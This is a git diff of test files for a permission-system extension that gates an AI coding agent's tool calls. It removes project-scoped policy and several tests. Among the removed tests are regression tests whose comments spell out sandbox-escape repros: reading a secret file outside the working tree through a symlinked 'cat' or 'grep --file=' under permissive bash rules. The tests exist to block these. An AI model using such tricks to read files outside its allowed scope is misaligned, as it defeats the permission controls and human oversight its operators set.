writeGlobalConfig(externalAsk); - const childCwd = mkdtempSync(join(tmpdir(), "pi-perm-child-cwd-")); - const externalDir = mkdtempSync(join(tmpdir(), "pi-perm-external-")); - const parentSessionId = "parent-session-oop-gone"; - // The env-var path a process-based subagent extension uses: the hint makes - // the child detect itself, and the parent id names a session that exited. - vi.stubEnv("PI_SUBAGENT_CHILD", "1"); - vi.stubEnv("PI_SUBAGENT_PARENT_SESSION", parentSessionId); - - const result = (await fireChildRead(childCwd, externalDir)) as { - block?: true; - reason?: string; - }; - - expect(result.block).toBe(true); - expect(result.reason).toContain( - `Session '${parentSessionId}' is not serving forwarded permission requests.`, - ); - expect(result.reason).not.toContain("User denied"); - - rmSync(childCwd, { recursive: true, force: true }); - rmSync(externalDir, { recursive: true, force: true }); - }); - - it("waits for an out-of-process parent whose heartbeat is fresh", async () => { - writeGlobalConfig(externalAsk); - const childCwd = mkdtempSync(join(tmpdir(), "pi-perm-child-cwd-")); - const externalDir = mkdtempSync(join(tmpdir(), "pi-perm-external-")); - const forwardingDir = join(agentDir, "sessions", "permission-forwarding"); - const parentSessionId = "parent-session-oop-live"; - vi.stubEnv("PI_SUBAGENT_CHILD", "1"); - vi.stubEnv("PI_SUBAGENT_PARENT_SESSION", parentSessionId); - // What the parent's poll timer would have published; this test answers the - // request by hand instead of running that timer. - publishServingHeartbeat(forwardingDir, parentSessionId); - - const firePromise = fireChildRead(childCwd, externalDir); - const request = await approveForwardedRequest( - forwardingDir, - parentSessionId, - ); - expect(request.targetSessionId).toBe(parentSessionId); - - const result = (await firePromise) as { block?: true }; - expect(result.block).toBeUndefined(); - - rmSync(childCwd, { recursive: true, force: true }); - rmSync(externalDir, { recursive: true, force: true }); - }); -}); describe("shutdown teardown chain", () => { it("unpublishes the service and unsubscribes the lifecycle on shutdown", async () => { @@ -727,7 +469,7 @@ describe("project trust gates project-scoped config (#644)", () => { rmSync(cwd, { recursive: true, force: true }); }); - it("lets a trusted project's `bash: allow` override global `bash: deny`", async () => { + it("ignores project policy even when the project is trusted", async () => { writeGlobalConfig({ permission: { "*": "ask", bash: "deny" } }); const cwd = mkdtempSync(join(tmpdir(), "pi-perm-trusted-cwd-")); writeProjectConfig(cwd, { permission: { bash: "allow" } }); @@ -739,10 +481,10 @@ describe("project trust gates project-scoped config (#644)", () => { makeBaseCtx(cwd, "trusted-session", { isProjectTrusted: true }), ); - // The trusted project override applies (last-match-wins). + // Project policy files are not part of the permission configuration. expect( getPermissionsService()!.checkPermission("bash", "echo hi").state, - ).toBe("allow"); + ).toBe("deny"); rmSync(cwd, { recursive: true, force: true }); }); @@ -883,65 +625,6 @@ describe("bash bare-token path gating (#509, #645)", () => { rmSync(cwd, { recursive: true, force: true }); }); - it("denies a bare symlink escaping the working tree under external_directory deny (#645)", async () => { - // The issue's headline repro: - // printf 'test' > /tmp/…-secret ; ln -s /tmp/…-secret outside-link - // cat outside-link (under a permissive `cat *` bash rule) - const cwd = mkdtempSync(join(tmpdir(), "pi-perm-escape-cwd-")); - const outside = mkdtempSync(join(tmpdir(), "pi-perm-escape-target-")); - const secret = join(outside, "pi-permission-test-secret"); - writeFileSync(secret, "test"); - symlinkSync(secret, join(cwd, "outside-link")); - writeGlobalConfig({ - permission: { - "*": "allow", - bash: { "cat *": "allow" }, - external_directory: "deny", - }, - }); - - const pi = makeFakePi({ events: createEventBus() }); - piPermissionSystemExtension(pi as unknown as ExtensionAPI); - const ctx = makeChildCtx(cwd, "bare-escape-session-deny"); - await fireSessionStart(pi, ctx); - - const result = await fireBashToolCall(pi, ctx, "cat outside-link"); - expect(result.block).toBe(true); - - rmSync(cwd, { recursive: true, force: true }); - rmSync(outside, { recursive: true, force: true }); - }); - - it("denies a path embedded in a long option under external_directory deny (#645)", async () => { - // The issue's second repro: `grep --file=/tmp/…` under an allowing - // `grep *` bash rule. The flag token never reached the path surfaces. - const cwd = mkdtempSync(join(tmpdir(), "pi-perm-flagpath-cwd-")); - const outside = mkdtempSync(join(tmpdir(), "pi-perm-flagpath-target-")); - const patterns = join(outside, "pi-permission-patterns"); - writeFileSync(patterns, "secret\n"); - writeGlobalConfig({ - permission: { - "*": "allow", - bash: { "grep *": "allow" }, - external_directory: "deny", - }, - }); - - const pi = makeFakePi({ events: createEventBus() }); - piPermissionSystemExtension(pi as unknown as ExtensionAPI); - const ctx = makeChildCtx(cwd, "flag-path-session-deny"); - await fireSessionStart(pi, ctx); - - const result = await fireBashToolCall( - pi, - ctx, - `grep --file=${patterns} target`, - ); - expect(result.block).toBe(true); - - rmSync(cwd, { recursive: true, force: true }); - rmSync(outside, { recursive: true, force: true }); - }); }); describe("multi-instance global service interplay", () => { diff --git a/pi-permission-system/test/config-loader.test.ts b/pi-permission-system/test/config-loader.test.ts index 9303caa..2d45302 100644 --- a/pi-permission-system/test/config-loader.test.ts +++ b/pi-permission-system/test/config-loader.test.ts @@ -245,7 +245,6 @@ describe("loadUnifiedConfig", () => { "*": "ask", read: "allow", bash: { "*": "ask", "git *": "allow" }, - external_directory: "ask", }, }), ); @@ -256,7 +255,6 @@ describe("loadUnifiedConfig", () => { "*": "ask", read: "allow", bash: { "*": "ask", "git *": "allow" }, - external_directory: "ask", }); }); @@ -401,32 +399,6 @@ describe("loadUnifiedConfig", () => { expect(result.issues.length).toBeGreaterThan(0); }); - it("parses piInfrastructureReadPaths when a valid string array is present", () => { - const configPath = join(tempDir, "config.json"); - writeFileSync( - configPath, - JSON.stringify({ piInfrastructureReadPaths: ["/extra/path"] }), - ); - const result = loadUnifiedConfig(configPath); - expect(result.config.piInfrastructureReadPaths).toEqual(["/extra/path"]); - }); - - it("parses piInfrastructureReadPaths as empty array when set to []", () => { - const configPath = join(tempDir, "config.json"); - writeFileSync( - configPath, - JSON.stringify({ piInfrastructureReadPaths: [] }), - ); - const result = loadUnifiedConfig(configPath); - expect(result.config.piInfrastructureReadPaths).toEqual([]); - }); - - it("omits piInfrastructureReadPaths when absent", () => { - const configPath = join(tempDir, "config.json"); - writeFileSync(configPath, JSON.stringify({ debugLog: false })); - const result = loadUnifiedConfig(configPath); - expect(result.config).not.toHaveProperty("piInfrastructureReadPaths"); - }); it.each([ ["string", "not-an-array"], @@ -446,7 +418,7 @@ describe("loadUnifiedConfig", () => { }); describe("mergeUnifiedConfigs", () => { - it("deep-merges permission objects so project overrides global per-key", () => { + it("deep-merges permission objects so the later config overrides per key", () => { const merged = mergeUnifiedConfigs( { permission: { @@ -496,7 +468,7 @@ describe("mergeUnifiedConfigs", () => { expect(merged.permission).toEqual({ bash: "deny" }); }); - it("replaces scalar runtime knobs (project wins)", () => { + it("replaces scalar runtime knobs with later values", () => { const merged = mergeUnifiedConfigs( { debugLog: true, @@ -513,7 +485,7 @@ describe("mergeUnifiedConfigs", () => { expect(merged.doublePressToConfirm).toBe(false); }); - it("replaces the prompt-budget scalars (project wins)", () => { + it("replaces prompt-budget scalars with later values", () => { const merged = mergeUnifiedConfigs( { promptMaxRows: 24, promptFieldMaxWidth: 400 }, { promptMaxRows: 10 }, @@ -523,7 +495,7 @@ describe("mergeUnifiedConfigs", () => { expect(merged.promptFieldMaxWidth).toBe(400); }); - it("replaces the review-log field width (project wins)", () => { + it("replaces the review-log field width with a later value", () => { expect( mergeUnifiedConfigs( { reviewLogFieldMaxWidth: 1000 }, @@ -612,34 +584,6 @@ describe("mergeUnifiedConfigs", () => { expect(merged).not.toHaveProperty("toolTextSummaryMaxLength"); }); - it("override piInfrastructureReadPaths replaces base array", () => { - const merged = mergeUnifiedConfigs( - { piInfrastructureReadPaths: ["/base/path"] }, - { piInfrastructureReadPaths: ["/override/path"] }, - ); - expect(merged.piInfrastructureReadPaths).toEqual(["/override/path"]); - }); - - it("base piInfrastructureReadPaths survives when override omits it", () => { - const merged = mergeUnifiedConfigs( - { piInfrastructureReadPaths: ["/kept/path"] }, - { debugLog: true }, - ); - expect(merged.piInfrastructureReadPaths).toEqual(["/kept/path"]); - }); - - it("piInfrastructureReadPaths is absent when both base and override omit it", () => { - const merged = mergeUnifiedConfigs({ debugLog: true }, { yoloMode: false }); - expect(merged).not.toHaveProperty("piInfrastructureReadPaths"); - }); - - it("override piInfrastructureReadPaths as empty array replaces non-empty base", () => { - const merged = mergeUnifiedConfigs( - { piInfrastructureReadPaths: ["/base/path"] }, - { piInfrastructureReadPaths: [] }, - ); - expect(merged.piInfrastructureReadPaths).toEqual([]); - }); it("override authorizerChain replaces base array", () => { const merged = mergeUnifiedConfigs( @@ -764,27 +708,6 @@ describe("loadAndMergeConfigs", () => { writeFileSync(join(extensionRoot, "config.json"), JSON.stringify(content)); } - it("merges global and project new-layout configs", () => { - writeGlobal({ - debugLog: true, - permission: { "*": "ask", read: "allow" }, - }); - writeProject({ - permission: { "*": "allow", write: "deny" }, - }); - - const result = loadAndMergeConfigs(agentDir, cwd, extensionRoot); - // The merged config leaves a permissive top-level '*' with no bash '*' policy, - // so the bash-fallback footgun warning is expected. - expect(result.issues).toHaveLength(1); - expect(result.issues[0]).toContain("bash"); - expect(result.merged.debugLog).toBe(true); - expect(result.merged.permission).toEqual({ - "*": "allow", - read: "allow", - write: "deny", - }); - }); it("detects legacy global policy and emits migration issue", () => { writeLegacyGlobalPolicy({ @@ -800,18 +723,6 @@ describe("loadAndMergeConfigs", () => { expect(result.merged.permission).toBeUndefined(); }); - it("detects legacy project policy and emits migration issue", () => { - writeLegacyProjectPolicy({ - bash: { "git status": "allow" }, - }); - - const result = loadAndMergeConfigs(agentDir, cwd, extensionRoot); - expect(result.issues).toHaveLength(1); - expect(result.issues[0]).toContain(".pi/agent/pi-permissions.jsonc"); - expect(result.issues[0]).toContain(".pi/extensions/pi-permission-system"); - // Legacy file has no flat-format permission key — no rules extracted - expect(result.merged.permission).toBeUndefined(); - }); it("detects legacy extension runtime config and emits migration issue", () => { writeLegacyExtensionConfig({ @@ -878,57 +789,15 @@ describe("loadAndMergeConfigs", () => { expect(result.issues).toEqual([]); }); - describe("includeProjectScope", () => { - it("omits the new project config when includeProjectScope is false", () => { - writeGlobal({ - permission: { "*": "ask", bash: "deny" }, - }); - writeProject({ - permission: { bash: "allow" }, - }); + it("ignores new and legacy project policy files", () => { + writeGlobal({ permission: { "*": "ask", bash: "deny" } }); + writeProject({ permission: { bash: "allow" } }); + writeLegacyProjectPolicy({ permission: { "*": "allow" } }); - const result = loadAndMergeConfigs(agentDir, cwd, extensionRoot, { - includeProjectScope: false, - }); + const result = loadAndMergeConfigs(agentDir, cwd, extensionRoot); - // The untrusted project's `bash: allow` must not override global `deny`. - expect(result.merged.permission).toEqual({ "*": "ask", bash: "deny" }); - expect(result.project).toEqual({}); - }); - - it("omits the legacy project policy when includeProjectScope is false", () => { - writeGlobal({ permission: { "*": "ask" } }); - writeLegacyProjectPolicy({ permission: { "*": "allow" } }); - - const result = loadAndMergeConfigs(agentDir, cwd, extensionRoot, { - includeProjectScope: false, - }); - - expect(result.merged.permission).toEqual({ "*": "ask" }); - expect( - result.issues.some((i) => i.includes("pi-permissions.jsonc")), - ).toBe(false); - }); - - it("includes the project config when includeProjectScope is true", () => { - writeGlobal({ permission: { "*": "ask", bash: "deny" } }); - writeProject({ permission: { bash: "allow" } }); - - const result = loadAndMergeConfigs(agentDir, cwd, extensionRoot, { - includeProjectScope: true, - }); - - expect(result.merged.permission).toEqual({ "*": "ask", bash: "allow" }); - }); - - it("includes the project config by default (option omitted)", () => { - writeGlobal({ permission: { "*": "ask", bash: "deny" } }); - writeProject({ permission: { bash: "allow" } }); - - const result = loadAndMergeConfigs(agentDir, cwd, extensionRoot); - - expect(result.merged.permission).toEqual({ "*": "ask", bash: "allow" }); - }); + expect(result.merged.permission).toEqual({ "*": "ask", bash: "deny" }); + expect(result.issues).toEqual([]); }); describe("deprecated tool-preview caps", () => { diff --git a/pi-permission-system/test/config-paths.test.ts b/pi-permission-system/test/config-paths.test.ts index 7dea706..9d22a26 100644 --- a/pi-permission-system/test/config-paths.test.ts +++ b/pi-permission-system/test/config-paths.test.ts @@ -8,9 +8,7 @@ import { getGlobalLogsDir, getLegacyExtensionConfigPath, getLegacyGlobalPolicyPath, - getLegacyProjectPolicyPath, getProjectAgentsDir, - getProjectConfigPath, REVIEW_LOG_FILENAME, } from "#src/config-paths"; @@ -38,11 +36,6 @@ describe("config-paths", () => { ); }); - it("getProjectConfigPath returns .pi/extensions/pi-permission-system/policy.jsonc under cwd", () => { - expect(getProjectConfigPath(cwd)).toBe( - join(cwd, ".pi", "extensions", "pi-permission-system", "policy.jsonc"), - ); - }); it("getProjectAgentsDir returns .pi/agents under cwd", () => { expect(getProjectAgentsDir(cwd)).toBe(join(cwd, ".pi", "agents")); @@ -56,11 +49,6 @@ describe("config-paths", () => { ); }); - it("getLegacyProjectPolicyPath returns .pi/agent/pi-permissions.jsonc under cwd", () => { - expect(getLegacyProjectPolicyPath(cwd)).toBe( - join(cwd, ".pi", "agent", "pi-permissions.jsonc"), - ); - }); it("getLegacyExtensionConfigPath returns config.json under extensionRoot", () => { expect(getLegacyExtensionConfigPath(extensionRoot)).toBe( diff --git a/pi-permission-system/test/config-pipeline.test.ts b/pi-permission-system/test/config-pipeline.test.ts index 6bc39bb..d57adee 100644 --- a/pi-permission-system/test/config-pipeline.test.ts +++ b/pi-permission-system/test/config-pipeline.test.ts @@ -94,19 +94,6 @@ describe("config pipeline seam", () => { expect(config).not.toHaveProperty("toolTextSummaryMaxLength"); }); - it("project config still overrides a global deprecated cap in the merge", () => { - writeGlobal({ toolInputPreviewMaxLength: 200 }); - const projectDir = join(cwd, ".pi", "extensions", "pi-permission-system"); - mkdirSync(projectDir, { recursive: true }); - writeFileSync( - join(projectDir, "policy.jsonc"), - JSON.stringify({ toolInputPreviewMaxLength: 500 }), - ); - - const mergeResult = loadAndMergeConfigs(agentDir, cwd, extensionRoot); - - expect(mergeResult.merged.toolInputPreviewMaxLength).toBe(500); - }); it("defaults apply when config file is absent", () => { // No config files written — agentDir and cwd directories don't exist. diff --git a/pi-permission-system/test/config-reporter.test.ts b/pi-permission-system/test/config-reporter.test.ts index 750e574..a194a3f 100644 --- a/pi-permission-system/test/config-reporter.test.ts +++ b/pi-permission-system/test/config-reporter.test.ts @@ -13,82 +13,23 @@ import { createPermissionSystemLogger } from "#src/logging"; import type { ResolvedPolicyPaths } from "#src/permission-manager"; import { PermissionManager } from "#src/permission-manager"; -test("buildResolvedConfigLogEntry includes policy paths and legacy detection flags", () => { +test("buildResolvedConfigLogEntry reports global and agent policy paths", () => { const policyPaths: ResolvedPolicyPaths = { - globalConfigPath: - "/home/user/.pi/agent/extensions/pi-permission-system/config.json", + globalConfigPath: "/home/user/.pi/agent/extensions/pi-permission-system/policy.jsonc", globalConfigExists: true, - projectConfigPath: - "/projects/my-app/.pi/extensions/pi-permission-system/config.json", - projectConfigExists: false, agentsDir: "/home/user/.pi/agent/agents", agentsDirExists: true, - projectAgentsDir: "/projects/my-app/.pi/agent/agents", - projectAgentsDirExists: false, - }; - - const result = buildResolvedConfigLogEntry({ policyPaths }); - - expect(result.globalConfigPath).toBe( - "/home/user/.pi/agent/extensions/pi-permission-system/config.json", - ); - expect(result.globalConfigExists).toBe(true); - expect(result.projectConfigPath).toBe( - "/projects/my-app/.pi/extensions/pi-permission-system/config.json", - ); - expect(result.projectConfigExists).toBe(false); - expect(result.agentsDir).toBe("/home/user/.pi/agent/agents"); - expect(result.agentsDirExists).toBe(true); - expect(result.projectAgentsDir).toBe("/projects/my-app/.pi/agent/agents"); - expect(result.projectAgentsDirExists).toBe(false); - expect(result.legacyGlobalPolicyDetected).toBe(false); - expect(result.legacyProjectPolicyDetected).toBe(false); - expect(result.legacyExtensionConfigDetected).toBe(false); -}); - -test("buildResolvedConfigLogEntry handles null project paths", () => { - const policyPaths: ResolvedPolicyPaths = { - globalConfigPath: - "/home/user/.pi/agent/extensions/pi-permission-system/config.json", - globalConfigExists: false, - projectConfigPath: null, - projectConfigExists: false, - agentsDir: "/home/user/.pi/agent/agents", - agentsDirExists: false, projectAgentsDir: null, projectAgentsDirExists: false, }; const result = buildResolvedConfigLogEntry({ policyPaths }); - expect(result.projectConfigPath).toBe(null); - expect(result.projectConfigExists).toBe(false); - expect(result.projectAgentsDir).toBe(null); - expect(result.projectAgentsDirExists).toBe(false); -}); - -test("buildResolvedConfigLogEntry surfaces legacy detection flags", () => { - const policyPaths: ResolvedPolicyPaths = { - globalConfigPath: - "/home/user/.pi/agent/extensions/pi-permission-system/config.json", - globalConfigExists: true, - projectConfigPath: null, - projectConfigExists: false, - agentsDir: "/home/user/.pi/agent/agents", - agentsDirExists: false, - projectAgentsDir: null, - projectAgentsDirExists: false, - }; - - const result = buildResolvedConfigLogEntry({ - policyPaths, - legacyGlobalPolicyDetected: true, - legacyExtensionConfigDetected: true, + expect(result).toEqual({ + ...policyPaths, + legacyGlobalPolicyDetected: false, + legacyExtensionConfigDetected: false, }); - - expect(result.legacyGlobalPolicyDetected).toBe(true); - expect(result.legacyProjectPolicyDetected).toBe(false); - expect(result.legacyExtensionConfigDetected).toBe(true); }); test("config.resolved entry appears in review log via logger", () => { @@ -135,12 +76,9 @@ test("config.resolved entry appears in review log via logger", () => { expect(parsed.globalConfigExists).toBe(true); expect(parsed.agentsDir).toBe(agentsDir); expect(parsed.agentsDirExists).toBe(false); - expect(parsed.projectConfigPath).toBe(null); - expect(parsed.projectConfigExists).toBe(false); expect(parsed.projectAgentsDir).toBe(null); expect(parsed.projectAgentsDirExists).toBe(false); expect(parsed.legacyGlobalPolicyDetected).toBe(false); - expect(parsed.legacyProjectPolicyDetected).toBe(false); expect(parsed.legacyExtensionConfigDetected).toBe(false); } finally { rmSync(tempDir, { recursive: true, force: true }); diff --git a/pi-permission-system/test/config-schema.test.ts b/pi-permission-system/test/config-schema.test.ts index 4463220..0e4e2f9 100644 --- a/pi-permission-system/test/config-schema.test.ts +++ b/pi-permission-system/test/config-schema.test.ts @@ -29,7 +29,6 @@ describe("unifiedConfigSchema", () => { yoloMode: true, toolInputPreviewMaxLength: 1000, toolTextSummaryMaxLength: 120, - piInfrastructureReadPaths: ["/extra/path"], permission: { "*": "ask", read: "allow", diff --git a/pi-permission-system/test/config-store.test.ts b/pi-permission-system/test/config-store.test.ts index 8532b0a..4f76c78 100644 --- a/pi-permission-system/test/config-store.test.ts +++ b/pi-permission-system/test/config-store.test.ts @@ -76,8 +76,6 @@ function makePolicyPathProvider( (): ResolvedPolicyPaths => ({ globalConfigPath: "/agent/config.json", globalConfigExists: false, - projectConfigPath: null, - projectConfigExists: false, agentsDir: "/agent/agents", agentsDirExists: false, projectAgentsDir: null, @@ -161,25 +159,23 @@ describe("ConfigStore", () => { // ── refresh() ───────────────────────────────────────────────────────── describe("refresh()", () => { - it("uses the passed ctx cwd for loadAndMergeConfigs and includes the project scope when trusted", () => { + it("uses the passed ctx cwd for global-only config loading", () => { const { store } = makeStore(); store.refresh(makeCtx({ cwd: "/my/project" }), true); expect(mockLoadAndMergeConfigs).toHaveBeenCalledWith( "/test/agent", "/my/project", expect.any(String), - { includeProjectScope: true }, ); }); - it("withholds the project scope when the project is untrusted", () => { + it("does not add a project config scope when the project is untrusted", () => { const { store } = makeStore(); store.refresh(makeCtx({ cwd: "/my/project" }), false); expect(mockLoadAndMergeConfigs).toHaveBeenCalledWith( "/test/agent", "/my/project", expect.any(String), - { includeProjectScope: false }, ); }); @@ -190,7 +186,6 @@ describe("ConfigStore", () => { "/test/agent", "", expect.any(String), - { includeProjectScope: true }, ); }); @@ -307,17 +302,6 @@ describe("ConfigStore", () => { expect(mockSyncPermissionSystemStatus).not.toHaveBeenCalled(); }); - it("carries piInfrastructureReadPaths from merged config into current()", () => { - const { store } = makeStore(); - mockLoadAndMergeConfigs.mockReturnValue({ - merged: { piInfrastructureReadPaths: ["/extra/path"] }, - issues: [], - }); - store.refresh(undefined, true); - expect(store.current().piInfrastructureReadPaths).toEqual([ - "/extra/path", - ]); - }); }); // ── save() ───────────────────────────────────────────────────────────── @@ -459,13 +443,12 @@ describe("ConfigStore", () => { expect(mockBuildResolvedConfigLogEntry).toHaveBeenCalledWith( expect.objectContaining({ legacyGlobalPolicyDetected: expect.any(Boolean), - legacyProjectPolicyDetected: expect.any(Boolean), legacyExtensionConfigDetected: expect.any(Boolean), }), ); }); - it("does not check project legacy path when no cwd is provided", () => { + it("checks only supported global legacy paths", () => { const { store } = makeStore(); store.logResolvedPaths(); // no cwd // existsSync called for global and ext-config legacy paths only (not project) diff --git a/pi-permission-system/test/extension-config.test.ts b/pi-permission-system/test/extension-config.test.ts index 02d06d0..dfda435 100644 --- a/pi-permission-system/test/extension-config.test.ts +++ b/pi-permission-system/test/extension-config.test.ts @@ -49,7 +49,6 @@ describe("detectMisplacedPermissionKeys", () => { mcp: {}, skills: {}, special: {}, - external_directory: {}, }); expect(result).toEqual([ "defaultPolicy", @@ -58,7 +57,6 @@ describe("detectMisplacedPermissionKeys", () => { "mcp", "skills", "special", - "external_directory", ]); }); diff --git a/pi-permission-system/test/extension-paths.test.ts b/pi-permission-system/test/extension-paths.test.ts index 9177522..b7fabf1 100644 --- a/pi-permission-system/test/extension-paths.test.ts +++ b/pi-permission-system/test/extension-paths.test.ts @@ -1,107 +1,26 @@ -import { join } from "node:path"; -import { beforeEach, describe, expect, it, vi } from "vitest"; - -const { mockDiscoverGlobalNodeModulesRoot } = vi.hoisted(() => ({ - mockDiscoverGlobalNodeModulesRoot: vi.fn<() => string | null>(), -})); - -vi.mock("../src/node-modules-discovery", () => ({ - discoverGlobalNodeModulesRoot: mockDiscoverGlobalNodeModulesRoot, -})); +import { describe, expect, it } from "vitest"; import { getGlobalLogsDir } from "#src/config-paths"; import { computeExtensionPaths } from "#src/extension-paths"; describe("computeExtensionPaths", () => { - beforeEach(() => { - mockDiscoverGlobalNodeModulesRoot.mockReset(); - mockDiscoverGlobalNodeModulesRoot.mockReturnValue( - "/mock/global/node_modules", - ); + it("derives only extension-owned runtime paths from agentDir", () => { + const paths = computeExtensionPaths("/agent"); + + expect(paths).toEqual({ + agentDir: "/agent", + sessionsDir: "/agent/sessions", + subagentSessionsDir: "/agent/sessions/subagents", + forwardingDir: "/agent/sessions/permission-forwarding", + globalLogsDir: getGlobalLogsDir("/agent"), + }); + expect(paths).not.toHaveProperty("piInfrastructureDirs"); }); - it("sets agentDir from argument", () => { - const paths = computeExtensionPaths("/test/agent"); - expect(paths.agentDir).toBe("/test/agent"); - }); - - it("derives sessionsDir as agentDir/sessions", () => { - const paths = computeExtensionPaths("/test/agent"); - expect(paths.sessionsDir).toBe("/test/agent/sessions"); - }); - - it("derives subagentSessionsDir as agentDir/subagent-sessions", () => { - const paths = computeExtensionPaths("/test/agent"); - expect(paths.subagentSessionsDir).toBe("/test/agent/subagent-sessions"); - }); - - it("derives forwardingDir as sessionsDir/permission-forwarding", () => { - const paths = computeExtensionPaths("/test/agent"); - expect(paths.forwardingDir).toBe( - join("/test/agent/sessions", "permission-forwarding"), - ); - }); - - it("derives globalLogsDir via getGlobalLogsDir(agentDir)", () => { - const paths = computeExtensionPaths("/test/agent"); - expect(paths.globalLogsDir).toBe(getGlobalLogsDir("/test/agent")); - }); - - it("includes agentDir in piInfrastructureDirs", () => { - const paths = computeExtensionPaths("/test/agent"); - expect(paths.piInfrastructureDirs).toContain("/test/agent"); - }); - - it("includes agentDir/git in piInfrastructureDirs", () => { - const paths = computeExtensionPaths("/test/agent"); - expect(paths.piInfrastructureDirs).toContain("/test/agent/git"); - }); - - it("includes discovered global node_modules root in piInfrastructureDirs", () => { - const paths = computeExtensionPaths("/test/agent"); - expect(paths.piInfrastructureDirs).toContain("/mock/global/node_modules"); - }); - - it("omits global node_modules from piInfrastructureDirs when discovery returns null", () => { - mockDiscoverGlobalNodeModulesRoot.mockReturnValue(null); - const paths = computeExtensionPaths("/test/agent"); - expect(paths.piInfrastructureDirs).toHaveLength(2); - expect(paths.piInfrastructureDirs).toContain("/test/agent"); - expect(paths.piInfrastructureDirs).toContain("/test/agent/git"); - }); - - it("all entries in piInfrastructureDirs are strings (no null)", () => { - mockDiscoverGlobalNodeModulesRoot.mockReturnValue(null); - const paths = computeExtensionPaths("/test/agent"); - for (const dir of paths.piInfrastructureDirs) { - expect(typeof dir).toBe("string"); - } - }); - - it("includes piPackageDir in piInfrastructureDirs when provided", () => { - const paths = computeExtensionPaths("/test/agent", "/pi/install"); - expect(paths.piInfrastructureDirs).toContain("/pi/install"); - }); - - it("omits piPackageDir when not provided (current behavior preserved)", () => { - const paths = computeExtensionPaths("/test/agent"); - expect(paths.piInfrastructureDirs).toEqual([ - "/test/agent", - "/test/agent/git", - "/mock/global/node_modules", - ]); - }); - - it("omits piPackageDir when given an empty string", () => { - const paths = computeExtensionPaths("/test/agent", ""); - expect(paths.piInfrastructureDirs).not.toContain(""); - }); - - it("two calls with different agentDirs produce independent results", () => { + it("does not retain values between agent directories", () => { const a = computeExtensionPaths("/agent/a"); const b = computeExtensionPaths("/agent/b"); - expect(a.agentDir).toBe("/agent/a"); - expect(b.agentDir).toBe("/agent/b"); + expect(a.sessionsDir).toBe("/agent/a/sessions"); expect(b.sessionsDir).toBe("/agent/b/sessions"); }); diff --git a/pi-permission-system/test/handlers/before-agent-start.test.ts b/pi-permission-system/test/handlers/before-agent-start.test.ts index db4519d..27b54ae 100644 --- a/pi-permission-system/test/handlers/before-agent-start.test.ts +++ b/pi-permission-system/test/handlers/before-agent-start.test.ts @@ -1,10 +1,6 @@ import { describe, expect, it, vi } from "vitest"; -import { - AgentPrepHandler, - shouldExposeTool, -} from "#src/handlers/before-agent-start"; -import type { ToolRegistry } from "#src/tool-registry"; +import { AgentPrepHandler } from "#src/handlers/before-agent-start"; import { makeCheckResult, makeCtx } from "#test/helpers/handler-fixtures"; import { @@ -12,325 +8,51 @@ import { makeRealSession, } from "#test/helpers/session-fixtures"; -// ── SDK stubs ────────────────────────────────────────────────────────────── -vi.mock("@earendil-works/pi-coding-agent", async (importOriginal) => { - const original = - await importOriginal(); - return { - ...original, - isToolCallEventType: vi.fn().mockReturnValue(false), - }; -}); - -// ── helpers ──────────────────────────────────────────────────────────────── - -function makeEvent(systemPrompt = "You are an assistant.") { - return { systemPrompt }; -} - -function makeToolRegistry(overrides: Partial = {}): ToolRegistry { - return { - getAll: vi.fn().mockReturnValue([]), - getActive: vi.fn().mockReturnValue([]), - setActive: vi.fn(), - ...overrides, - }; -} - -function makeSetup(opts?: { - toolPermission?: "allow" | "deny" | "ask"; - toolRegistry?: Partial; -}) { +function makeSetup() { const { session, permissionManager, sessionRules, configStore, forwarding } = makeRealSession(); const { resolver } = makeRealResolver(permissionManager, sessionRules); - if (opts?.toolPermission !== undefined) { - vi.mocked(permissionManager.getToolPermission).mockReturnValue( - opts.toolPermission, - ); - } - // Default check returns allow (for skill-prompt sanitizer via resolver.checkPermission) vi.mocked(permissionManager.check).mockReturnValue(makeCheckResult()); - const toolRegistry = makeToolRegistry(opts?.toolRegistry); const warmParser = vi.fn(); - const handler = new AgentPrepHandler( - session, - resolver, - toolRegistry, - warmParser, - ); + const handler = new AgentPrepHandler(session, resolver, warmParser); return { handler, session, - resolver, - permissionManager, configStore, forwarding, - toolRegistry, warmParser, }; } -// ── shouldExposeTool (pure helper) ───────────────────────────────────────── - -describe("shouldExposeTool", () => { - it("returns true when tool permission is allow", () => { - const getter = vi.fn().mockReturnValue("allow"); - expect(shouldExposeTool("read", null, getter)).toBe(true); - }); - - it("returns true when tool permission is ask", () => { - const getter = vi.fn().mockReturnValue("ask"); - expect(shouldExposeTool("bash", "agent-x", getter)).toBe(true); - }); - - it("returns false when tool permission is deny", () => { - const getter = vi.fn().mockReturnValue("deny"); - expect(shouldExposeTool("write", null, getter)).toBe(false); - }); - - it("passes agentName through to getToolPermission", () => { - const getter = vi.fn().mockReturnValue("allow"); - shouldExposeTool("read", "my-agent", getter); - expect(getter).toHaveBeenCalledWith("read", "my-agent"); - }); - - it("converts null agentName to undefined for getToolPermission", () => { - const getter = vi.fn().mockReturnValue("allow"); - shouldExposeTool("read", null, getter); - expect(getter).toHaveBeenCalledWith("read", undefined); - }); -}); - -// ── AgentPrepHandler.handle ──────────────────────────────────────────────── - -describe("AgentPrepHandler.handle", () => { - it("activates the session with ctx", async () => { +describe("AgentPrepHandler", () => { + it("warms the parser and activates the permission session", async () => { + const { handler, forwarding, warmParser } = makeSetup(); const ctx = makeCtx(); - const { handler, forwarding } = makeSetup(); - await handler.handle(makeEvent(), ctx); - // Real session.activate calls forwarding.start + + await handler.handle({ systemPrompt: "You are an assistant." }, ctx); + + expect(warmParser).toHaveBeenCalledTimes(1); expect(forwarding.start).toHaveBeenCalledWith(ctx); }); - it("triggers the bash-parser warm-up", async () => { - const { handler, warmParser } = makeSetup(); - await handler.handle(makeEvent(), makeCtx()); - expect(warmParser).toHaveBeenCalledTimes(1); - }); - - it("refreshes config with ctx, gated on project trust", async () => { - const ctx = makeCtx(); + it("refreshes global permission configuration", async () => { const { handler, configStore } = makeSetup(); - await handler.handle(makeEvent(), ctx); - expect(configStore.refresh).toHaveBeenCalledWith(ctx, true); - }); + const ctx = makeCtx({ isProjectTrusted: () => false }); + + await handler.handle({ systemPrompt: "You are an assistant." }, ctx); - it("withholds the project scope when the project is untrusted", async () => { - const ctx = makeCtx({ - isProjectTrusted: vi.fn<() => boolean>().mockReturnValue(false), - }); - const { handler, configStore } = makeSetup(); - await handler.handle(makeEvent(), ctx); expect(configStore.refresh).toHaveBeenCalledWith(ctx, false); }); - it("resolves agent name using systemPrompt", async () => { - const ctx = makeCtx(); + it("does not rewrite a prompt without skill entries", async () => { const { handler, session } = makeSetup(); - const spy = vi.spyOn(session, "resolveAgentName"); - await 